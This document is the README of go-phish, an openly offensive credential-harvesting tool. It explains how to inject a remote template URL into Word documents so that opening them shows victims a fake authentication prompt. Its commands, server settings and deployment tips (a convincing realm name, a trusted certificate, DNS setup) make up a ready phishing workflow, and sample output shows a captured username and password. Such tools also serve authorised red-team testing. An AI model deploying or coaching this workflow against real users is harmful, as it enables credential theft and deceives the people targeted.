go-phish

README

go-phish

go-phish is a Simple SSL Enabled HTTP server with the primary purpose of phishing credentials via Basic Authentication.

The power of go-phish is best demonstrated by setting a Word document's template to a go-phish URL. This causes Microsoft Word to make a request to the URL, resulting in an Authentication Dialog being shown to the end-user. The ability to inject any .docx file with a URL is possible using the go-phish's -url [url], -docx [in .docx], and -badocx [out .docx] options.

Download

Operating specific packages can be download from here.

Install

Extract the archive, and optionally, install binary to $PATH

$ tar -xzvf go-phish*.tar.gz
$ cd go-phish*
$ cp go-phish /usr/local/bin

Usage

$ go-phish --help
                              __    _      __
     ____ _____        ____  / /_  (_)____/ /_
    / __ \/ __ \______/ __ \/ __ \/ / ___/ __ \
   / /_/ / /_/ /_____/ /_/ / / / / (__  ) / / /
   \__, /\____/     / .___/_/ /_/_/____/_/ /_/
  /____/           /_/ 	An SSL Enabled Basic Auth Credential Harvester
                        with a Word Document Template URL Injector

  Start the server  : go-phish -s settings.json -c credentials.json
  Inject a template : go-phish -u https://secure.site.local/docs -i good.docx -o bad.docx

  Options:
    -h, --help      Show usage and exit.
    -v              Show version and exit.
    -s              The JSON settings file used to setup the server. [default: "settings.json"]
    -c              The JSON file to store harvested credentials. [default: "credentials.json"]
    -u              The go-phish URL to use as the Word document template.
    -i              The Word .docx file to inject with a template URL.
    -o              The new Word .docx file with the injected template URL.

Running the server

Modify the provided settings.json file as needed, by default it should look like this:

{
  "ip": "0.0.0.0",
  "port": "443",
  "sslCert": "server.crt",
  "sslKey": "server.key",
  "basicRealm": "Secure Document Gateway",
  "responseStatus": 200,
  "responseFile": "template.dotx",
  "responseHeaders": [
    ["Content-Type", "application/vnd.openxmlformats-officedocument.wordprocessingml.template"]
  ]
}

This setup will start the HTTP server on Port 443 with SSL configured to use server.crt and server.key. The basic authentication realm is set to Secure Document Gateway. When any credentials are provided, a 200 response status is sent along with the contents of the included template.dotx and the content type header: Content-Type: application/vnd.openxmlformats-officedocument.wordprocessingml.template.

The settings file may also be configured to output a simple body, by using responseBody, like this:

{
  "ip": "0.0.0.0",
  "port": "443",
  "sslCert": "server.crt",
  "sslKey": "server.key",
  "basicRealm": "Secure Document Gateway",
  "responseStatus": 404,
  "responseBody": "<h1>Not Found</h1>",
  "responseHeaders": [
    ["Content-Type", "text/html"]
  ]
}

The effectiveness of this tool is based mostly on the Domain and Basic Auth Realm used, as that is often all the end user will see when triggered from an Office document. Make sure to point your DNS A Records the public IP of the go-phish server.

It's recommended that the provided cert is replaced with a trusted one, such as one generated with LetsEncrypt. Microsoft Word on OS X will prevent the auth dialog if the cert is invalid.

Once the server is configured and running, all you need to do is embed a go-phish URL in a document, or anywhere else your heart desires. go-phish does give you the ability to inject your URL into a Word document as a template, instructions on how to do this can be found below.

Injecting a Word Document

To inject a Word document with a template URL, you'll need a .docx file and the go-phish server URL.

Now run go-phish with your document and URL:

$ go-phish -url https://secure.site.local/docs -docx good.docx -badocx bad.docx
[+] Opening Word document: good.docx
[+] Setting Word document template to: https://secure.site.local/docs
[+] Saving injected Word document to: bad.docx
[*] Injected Word document has been saved!

Make sure your go-phish server is running and available at the URL you used. Now when the Word document is opened, the victim will be prompted with an authentication dialog.

Now when the victim opens the document, you'll see the following:

$ ./go-phish
[+] Credential store initialized at: credentials.json
[+] Starting HTTPS Auth Server on: 0.0.0.0:443
[*] Request Received at 2016-09-25 01:06:28: HEAD https://secure.site.local/docs
[*] Sending Basic Auth response to: 127.0.0.1
[*] New credentials harvested!
[HTTP] Host        : secure.example.local
[HTTP] Request     : /docs
[HTTP] User Agent  : Microsoft Office Word
[HTTP] IP Address  : 127.0.0.1
[AUTH] Username    : john.doe
[AUTH] Password    : Summer15